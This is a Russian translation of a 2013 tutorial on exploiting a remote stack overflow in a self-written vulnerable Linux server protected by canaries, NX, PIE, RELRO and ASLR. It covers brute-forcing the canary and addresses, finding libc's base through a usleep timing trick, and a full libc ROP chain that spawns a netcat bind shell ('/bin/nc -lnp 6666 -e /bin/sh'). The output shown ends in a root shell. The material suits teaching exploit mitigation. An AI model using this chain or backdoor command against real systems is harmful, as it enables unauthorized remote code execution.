Эксплуатация повреждения стека, пример 2013 года

Эксплуатация повреждения стека, пример 2013 года

Главная цель данной статьи - показать пример успешной эксплуатации переполнения стека в защищенном приложении, выполняющемся в современной Linux-системе

Автор: Benjamin Randazzo

Каждый год появляются новые механизмы безопасности, поэтому эксплуатировать уязвимости к переполнению стека становится все сложнее. Техника повреждения стека впервые была описана Элиасом Леви, также известным как Aleph One, в его статье "Smashing the Stack for Fun and Profit", опубликованной в журнале Phrack magazine [1], и за эти годы она претерпела немало изменений. В наши дни обнаружение подобной уязвимости уже не гарантирует возможности успешной ее эксплуатации. Главная цель данной статьи - показать пример успешной эксплуатации переполнения стека в защищенном приложении, выполняющемся в современной Linux-системе.

Я предполагаю, что вы уже знакомы с такими техниками эксплуатации переполнения буфера, как ROP или ret2plt. В противном случае, советую прочесть несколько Интернет-статей на эту тему. Мой интерес привлекла статья "Scraps of notes on remote stack overflow exploitation" [2], опубликованная в 2010 году. Автор статьи, Адам Зеброки (aka pi3) приводил пример эксплоита для написанного им же уязвимого сервера. Я собираюсь использовать некоторые методы, описанные в его статье: они действительно хорошо объяснены. Его уязвимое приложение вызывает функцию system() из libc. Данная функция вызвает командную строку и запускает в ней команду, переданную в качестве аргумента. Вот прототип функции system:

int system(const char *command); [3]

Ее использование в статье Адама не представляет большого интереса: функция лишь печатает "start" в стандартный поток вывода. В целях демонстрации он создал идеальные условия для эксплуатации уязвимости. После нахождения стековой канарейки и сохраненного значения EIP ему "оставалось только" выполнить атаку типа return-into-call-system с аргументом, который являлся контролируемым буфером, ранее помещенным в стек. Однако, как он заметил, это не играет большой роли... поскольку теперь мы собираемся эксплуатировать уязвимость сервера, не вызывая system()!

Уязвимое приложение

Для демонстрации мы исследуем и эксплуатируем самодельный уязвимый сервер, полный исходный код которого можно найти здесь. Он ожидает соединений на порту 3333 и спрашивает у клиента код для получения доступа к "Банку Франции". Я скомпилировал его следующей командой: gcc -m32 -Wl,-z,relro,-z,now -pie -fstack-protector-all -o server server.c

Я использовал опцию -m32, потому что я запущу этот сервер на 64-битной машине под управлением Debian (с версией ядра 3.7), а демонстрацию хочу провести на 32-битной архитектуре. Далее я рассмотрю причины такого выбора. Давайте проверим, насколько защищены система и наш сервер:

$ cat /proc/sys/kernel/randomize_va_space
2

ASLR включена в системе по умолчанию, а переменная randomize_va_space имеет значение 2. Так что, в данном случае мы имеем полную рандомизацию адресного пространства (стека, кучи, разделяемых библиотек и т. д.). Мы также можем проверить защищенность приложения, используя скрипт checksec.sh [4] :

$ wget -q http://trapkit.de/tools/checksec.sh
$ chmod +x checksec.sh
$ ./checksec.sh --file server
RELRO .data addr CANARY NX PIE
RPATH RUNPATH FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH
No RUNPATH server

Как можно видеть, установлен флаг NX, так что некоторые области памяти будут помечены как неисполняемые. PIE также включен, поэтому базовый адрес главного двоичного файла будет случайным. Это затрудняет эксплуатацию уязвимости, поскольку данный двоичный файл будет рандомизироваться так же, как и разделяемые библиотеки. Кроме того, можно отметить наличие стековых канареек, значит, некоторые буферы будут защищены от переполнения: факт переполнения будет легко обнаружен и программа аварийно завершит работу. Наконец, мы видим RELRO, что означает, что ELF-секции будут переупорядочены: например, деструкторы будут помещены перед секциями данных, что представляет проблему при эксплуатации bss-переполнений, а секция GOT станет доступной только для чтения.

Пришло время изучить брешь в безопасности нашего двоичного файла. В функции check_code() присутствует уязвимость к переполнению стека:

int check_code(char *data, int size)
{
char buffer[20];
memcpy(buffer, data, size);
encrypt(buffer, KEY);
return strncmp(buffer, SECRET, strlen(SECRET));
}

Аргумент data указывает на буфер, содержащий переданные клиентом данные, а аргумент size хранит размер этих данных. Данные копируются в буфер объемом 20 байт, при этом отсутствует проверка, что size имеет значение, не превышающее 20. Поэтому, если мы пошлем более 20 байтов данных, стек окажется переполнен. Следующий журнал запуска клиента подтверждает эту догадку:

$ nc 192.168.56.101 3333
Bank of France
Enter code : 1234

Access denied
$

$ echo -n $(python -c 'print "A" * 20') | nc 192.168.56.101 3333
Bank of France
Enter code :
Access denied
$

$ echo -n $(python -c 'print "A" * 21') | nc 192.168.56.101 3333
Bank of France
Enter code : $

Когда передается больше 20 байтов данных, дочерний процесс сервера аварийно завершается, поэтому сообщение "Access denied" не приходит. Это следствие того, что мы перезаписываем один байт стековой канарейки, и программа обнаруживает переполнение (можно проверить вывод сервера, сделанный функцией __stack_chk_fail()). Давайте кратко рассмотрим содержимое стека при копировании данных в буфер и вызове функции __stack_chk_fail().

$ gdb -q ./server
Reading symbols from /root/bof/server...(no debugging symbols
found)...done.
(gdb) disas check_codeDump of assembler code for function check_code:
0x00000c86 <+0>: push %ebp
0x00000c87 <+1>: mov %esp,%ebp
0x00000c89 <+3>: sub $0x48,%esp
0x00000c8c <+6>: mov 0x8(%ebp),%eax
0x00000c8f <+9>: mov %eax,-0x2c(%ebp)
0x00000c92 <+12>: mov 0xc(%ebp),%eax
0x00000c95 <+15>: mov %eax,-0x30(%ebp)
0x00000c98 <+18>: mov %gs:0x14,%eax
0x00000c9e <+24>: mov %eax,-0xc(%ebp)
0x00000ca1 <+27>: xor %eax,%eax
0x00000ca3 <+29>: mov -0x30(%ebp),%eax
0x00000ca6 <+32>: mov %eax,0x8(%esp)
0x00000caa <+36>: mov -0x2c(%ebp),%eax
0x00000cad <+39>: mov %eax,0x4(%esp)
0x00000cb1 <+43>: lea -0x20(%ebp),%eax
0x00000cb4 <+46>: mov %eax,(%esp)
0x00000cb7 <+49>: call 0xcb8 <check_code+50>
0x00000cbc <+54>: movl $0x42,0x4(%esp)
0x00000cc4 <+62>: lea -0x20(%ebp),%eax
0x00000cc7 <+65>: mov %eax,(%esp)
0x00000cca <+68>: call 0xc20 <encrypt>
0x00000ccf <+73>: movl $0x4,0x8(%esp)
---Type <return> to continue, or q <return> to quit---
0x00000cd7 <+81>: movl $0x1060,0x4(%esp)
0x00000cdf <+89>: lea -0x20(%ebp),%eax
0x00000ce2 <+92>: mov %eax,(%esp)
0x00000ce5 <+95>: call 0xce6 <check_code+96>
0x00000cea <+100>: mov -0xc(%ebp),%edx
0x00000ced <+103>: xor %gs:0x14,%edx
0x00000cf4 <+110>: je 0xcfb <check_code+117>
0x00000cf6 <+112>: call 0xcf7 <check_code+113>
0x00000cfb <+117>: leave
0x00000cfc <+118>: ret
End of assembler dump.
(gdb) shell readelf -r ./server | grep cb8
00000cb8 00000402 R_386_PC32 00000000 memcpy
(gdb) start
Temporary breakpoint 1 at 0xd00
Starting program: /root/bof/server
Temporary breakpoint 1, 0x56555d00 in main ()
(gdb) b *0x56555cbc
Breakpoint 2 at 0x56555cbc
(gdb) b *0x56555cf6
Breakpoint 3 at 0x56555cf6
(gdb) set follow-fork-mode child
(gdb) cont
Continuing.
ready
[New process 16494]
[Switching to process 16494]
Breakpoint 2, 0x56555cbc in check_code ()
(gdb) x/30dwx $esp
0xffffd240: 0xffffd268 0xffffd2ec 0x00000015 0xffffd288
0xffffd250: 0x00000000 0xffffd288 0x00000015 0xffffd2ec
0xffffd260: 0xffffd288 0xf7ec641b 0x41414141 0x41414141
0xffffd270: 0x41414141 0x41414141 0x41414141 0x9203c441
0xffffd280: 0xffffd2ec 0xf7f2a6b3 0xffffd4f8 0x56555f450xffffd290: 0xffffd2ec 0x00000015 0x00000200 0x00000000
0xffffd2a0: 0x00000004 0xffffd3d0 0xffffd2f8 0xffffd304
0xffffd2b0: 0xf7ffcff4 0xf7ffd918
(gdb) x/2i 0x56555f45-5
0x56555f40 <main+579>: call 0x56555c86 <check_code>
0x56555f45 <main+584>: test %eax,%eax
(gdb) cont
Continuing.
Breakpoint 3, 0x56555cf6 in check_code ()
(gdb) x/i $eip
=> 0x56555cf6 <check_code+112>: call 0xf7f4e590 <__stack_chk_fail>

Как можно видеть, стековая канарейка по адресу %gs:0x14 сравнивается со своим исходным значением. Вот как выглядит содержимое стека в этот момент:

верхние адреса - дно стека

[ ... ]
[ size ]
[ data ]
[ saved EIP ]
[ saved EBP ]
[ ... ]
[ stack cookie ]
[ buffer of 20 ]
[ ... ]

нижние адреса - вершина стека

Теперь перед нами стоит вопрос: как мы будем эксплуатировать уязвимость? Перед написанием эксплоита мы составим сценарий атаки.

Сценарий атаки

1) Сначала нам нужно определить положение стековой канарейки путем отправки данных все большего объема до тех пор, пока сервер не перестанет посылать сообщение "Access denied". В этом случае происходит обнаружение переполнение стека, поскольку перезаписывается один байт канарейки. Мы же узнаем размер уязвимого буфера.

2) Далее мы используем вызов сервером функции fork(), чтобы перебором узнать значение стековой канарейки байт за байтом. Если сервер отвечает сообщением "Access denied", значит, мы угадали первый байт канарейки. Затем мы можем находить перебором следующий байт и т. д. У каждого байта существует только 256 возможных значений. Поэтому нужно перебрать всего 1024 (256*4) комбинаций (предполагая, что мы используем архитектуру x86). Кроме того, на Debian (и, вероятно, на некоторых других Linux-системах) стековая канарейка всегда заканчивается нулевым байтом, так что в нашем случае остается перебрать всего 768 комбинаций. Эта техника поиска значения стековой канарейки была представлена Беном Хокесом на конференции Ruxcon в 2006 году [7].

3) Далее нам нужно найти, где находится сохраненное значение регистра EIP, чтобы узнать, куда поместить наш адрес возврата. Здесь можно снова использовать технику из первого пункта.

4) Затем мы найдем перебором сохраненное значение EIP. Это позволит нам найти базовый адрес главного двоичного файла и обойти PIE. Для этого нам нужно подобрать первые 20 битов адреса с помощью побайтового брутфорса, то есть, поступить аналогично пункту 2.

Теперь игра практически "окончена": для того, чтобы эксплуатировать уязвимость, нам достаточно использовать техники ROP или ret2plt. К сожалению, в двоичном файле нет функций, в которые стоит вернуться, и есть всего 3 ROP-гаджета, которых недостаточно (для их поиска я использовал утилиту ROPgadget [8]). Можно подумать о вызове функции system() из libc(), но сначала нужно получить адрес буфера, содержащего команду для выполнения. У нас вроде бы есть этот адрес, но на самом деле его положение в стеке модифицировано. Здесь идеальной была бы атака ret2libc, но для этого надо заменить аргумент size на адрес буфера с данными. Можно добиться желаемого результата, изменив в функции check_code() порядок следования аргументов на обратный, но это не слишком удачное решение:

int check_code(int size, char *data);

Разметка стека выглядела бы так:

верхние адреса - дно стека

[ ... ]
[ data ]
[ size ]
[ saved EIP ]
[ saved EBP ]
[ ... ]
[ stack cookie ]
[ buffer of 20 ]
[ ... ]

нижние адреса - вершина стека

В этом случае нам лишь нужно будет провести атаку ret2libc следующим образом:

верхние адреса - дно стека

[ ... ]
[ data ] указатель на команду, которую необходимо выполнить
[ exit addr ]
[ system addr ] предыдущее сохраненное значение EIP
[ ... ] предыдущее сохраненное значение EBP
[ ... ]
[ stack cookie ]
[ buffer of 20 ]
[ ... ]

нижние адреса - вершина стека

Конечно, нам не хочется модифицировать исходный код сервера. К счастью, для выполнения ROP мы можем искать гаджеты в используемых приложением разделяемых библиотеках, особенно в libc. В libc содержится достаточное количество гаджетов для выполнения системного вызова execve со всеми необходимыми аргументами. Вот гаджеты, которые я буду использовать:

0x0002aca5 ; int $0x80
0x0002a19f ; mov %ecx,(%eax) ; ret
0x00008e48 ; inc %eax ; ret
0x000143d4 ; pop %eax ; ret
0x000f1c9d ; pop %ecx ; ret
0x000e4e41 ; pop %edx ; pop %ecx ; pop %ebx ; ret
0x0003cb7e ; xor %eax,%eax ; ret

Лучше всего будет создать на удаленной системе обратный шелл, а именно, вызвать через syscall утилиту netcat, и получить некоторое подобие бэкдора. Я составил ROP-цепочку подобную той, что используется в статье Джона Сальвана "Return Oriented Programming and ROPgadget tool" [9]. Сначала найдем номер системного вызова execve:

$ cat /usr/include/asm/unistd_32.h | grep execve
#define __NR_execve 11

Функция execve имеет следующий прототип:

int execve(const char *filename, char *const argv[], char *const env[]); [10]

Чтобы получить бэкдор, можно, например, выполнить команду "/bin/nc -lnp 6666 -e /bin/sh". Для этого нужно поместить в регистры следующие параметры:

EAX = 11
EBX = "/bin//nc"
ECX = {"/bin//nc", "-lnp", "6666", "-tte", "/bin//sh"}
EDX = NULL

Я соединил ROP-гаджеты в цепочку так, чтобы аргументы оказались в секции data библиотеки libc. Дальше можно будет сделать системный вызов execve. Вот как выглядит моя ROP-цепочка:

pop %eax ; ret
.data addr
pop %ecx ; ret
"/bin"
mov %ecx,(%eax) ; ret
pop %eax ; ret
.data addr+4
pop %ecx ; ret
"//nc"
mov %ecx,(%eax) ; ret
pop %eax ; ret
.data addr+9
pop %ecx ; ret
"-lnp"
mov %ecx,(%eax) ; ret
pop %eax ; ret
.data addr+14
pop %ecx ; ret
"6666"
mov %ecx,(%eax) ; ret
pop %eax ; ret
.data addr+19
pop %ecx ; ret
"-tte"
mov %ecx,(%eax) ; ret
pop %eax ; ret
.data addr+24
pop %ecx ; ret
"/bin"
mov %ecx,(%eax) ; ret
pop %eax ; ret
.data addr+28
pop %ecx ; ret
"//sh"
mov %ecx,(%eax) ; ret
pop %eax ; ret.data addr+50
pop %ecx ; ret
.data addr
mov %ecx,(%eax) ; ret
pop %eax ; ret
.data addr+54
pop %ecx ; ret
.data addr+9
mov %ecx,(%eax) ; ret
pop %eax ; ret
.data addr+58
pop %ecx ; ret
.data addr+14
mov %ecx,(%eax) ; ret
pop %eax ; ret
.data addr+62
pop %ecx ; ret
.data addr+19
mov %ecx,(%eax) ; ret
pop %eax ; ret
.data addr+66
pop %ecx ; ret
.data addr+24
mov %ecx,(%eax) ; ret
xor %eax,%eax ; ret
inc %eax ; ret
inc %eax ; ret
inc %eax ; ret
inc %eax ; ret
inc %eax ; ret
inc %eax ; ret
inc %eax ; ret
inc %eax ; ret
inc %eax ; ret
inc %eax ; ret
inc %eax ; ret
pop %edx ; pop %ecx ; pop %ebx ; ret
.data addr+40
.data addr+50
.data addr
int $0x80

После отсылки полезной нагрузки стек будет выглядеть так:

верхние адреса - дно стека

[ ... ]
[ last gadget ]
[ ... ]
[ gadget 3 ]
[ gadget 2 ]
[ gadget 1 ] предыдущее сохраненное значение EIP
[ ... ] предыдущее сохраненное значение EBP
[ ... ]
[ stack cookie ]
[ buffer of 20 ]
[ ... ]

нижние адреса - вершина стека

Поскольку ASLR включен, нам придется находить базовый адрес libc перебором (то же пришлось бы делать для атаки ret2libc) - это наш следующий шаг.

5) Итак, мы перебираем возможные базовые адреса libc, чтобы получить отображение всей библиотеки. Это можно сделать, пытаясь вызвать функцию usleep() с аргументом, задающим время простоя в 2 секунды. Вот прототип данной функции:

int usleep(useconds_t useconds); [11]

Смещения функций libc относительно базового адреса не рандомизируются, а потому могут быть найдены следующим образом:

$ nm -D /lib32/libc.so.6 | grep usleep
000d1690 T usleep

Теоретически нам нужно подобрать первые 20 битов адреса usleep, но на Debian первый байт почти всегда один и тот же и равен первому байту сохраненного EIP. Фактически нам нужно подобрать 12 битов адреса, что составляет 4096 (2^12) возможных комбинаций. Мы проведем перебор следующим образом: будем класть в стек адрес usleep, затем заполнитель и аргумент usleep. Это похоже на атаку ret2libc. Нам необходимо убедиться, что стек выглядит так:

верхние адреса - дно стека

[ ... ]
[ 2000000 ] аргумент usleep
[ ... ]
[ usleep addr ] предыдущее сохраненное значение EIP
[ ... ] предыдущее сохраненное значение EBP
[ ... ]
[ stack cookie ]
[ buffer of 20 ]
[ ... ]

нижние адреса - вершина стека

Если серверу требуется порядка двух секунд на закрытие соединения, значит мы угадали адрес usleep, а, следовательно, и базовый адрес libc (вычтя смещение usleep). Подобная техника описана в статье "On the Effectiveness of Address-Space Randomization" [12], написанной исследователями Стэнфордского университета.

6) Теперь у нас есть все, чтобы провести успешную эксплуатацию!

Эксплуатация

Давайте запустим сервер от имени root и атакуем его нашим эксплоитом:

$ sudo ./server
waiting for connections ...
$ gcc -o exploit exploit.c
$ ./exploit 192.168.56.101 3333
exploit by benjamin
20 bytes to reach the cookie
bruteforcing the cookie...
byte found! 0x00
byte found! 0x87
byte found! 0xf3
byte found! 0x51
cookie is 0x51f3870012 bytes to reach saved eip
bruteforcing saved eip...
byte found! 0xdf
byte found! 0x71
byte found! 0xf7
saved eip: 0xf771df45
text base: 0xf771d000
bruteforcing the libc...
usleep at: 0xf7652690
libc base: 0xf7581000
send payload (344 bytes)
got remote shell !
id
uid=0(root) gid=0(root) groups=0(root)

Случай x86_64

Наверное вам интересно, почему демонстрация не была проведена для приложения, скомпилированного под 64-битную платформу. Вот ответ: первоначально я работал под 32-битной Linux-системой, но потом решил попробовать и 64-битную. Проблем не было ни с размером адреса, ни со способом передачи параметров [13]. Единственной реальной проблемой был брутфорс адреса функции usleep, поскольку нужно было перебрать 2^20 = 1048567 вариантов, что неприемлемо. Поэтому я решил сделать мой демонстрационный эксплоит для архитектуры x86. Для построения хорошего эксплоита под 64-битную платформу стоило бы найти достаточное количество гаджетов в самом исполняемом файле. К сожалению, с помощью утилиты ROPgadget я смог найти только один гаджет (но нужно учитывать, что целевой файл в разы меньше реально используемых серверных приложений). Это не означает, что эксплуатация уязвимостей на платформе x86_64 невозможна, но там все зависит от целевого приложения.

Заключение

В наши дни эксплуатация переполнений стека требует от атакующего комбинации нескольких техник, позволяющих обойти существующие методы борьбы с эксплоитами. Только так можно добиться выполнения произвольного кода в приложениях, запущенных на современной Linux-системе. Однако, необходимо отметить, что обнаружение подобной бреши в безопасности не всегда влечет успешную ее эксплуатацию. Успех здесь зависит от самого приложения, того, как оно было скомпилировано и на какой платформе запущено.

Ссылки

[1] "Smashing the Stack for Fun and Profit" by Aleph One
[2] "Scraps of notes on remote stack overflow exploitation" by pi3
[3] Running a command - The GNU C Library
[4] trapkit.de - checksec.sh
[5] trapkit blog: RELRO - A (not so well known) Memory Corruption Mitigation Technique
[6] "Post Memory Corruption Memory Analysis" presentation by Jonathan Brossard (good explanations)
[7] "Exploiting OpenBSD" by Ben Hawkes
[8] ROPgadget GitHub repository
[9] "Return Oriented Programming and ROPgadget tool" by Jonathan Salwan[10] Executing a File - The GNU C Library
[11] usleep
[12] "On the Effectiveness of Address-Space Randomization" by people from Stanford University
[13] The Art Of ELF: Analysis and Exploitations by FlUxIuS

Где кванты и ИИ становятся искусством?

На перекрестке науки и фантазии — наш канал

Подписаться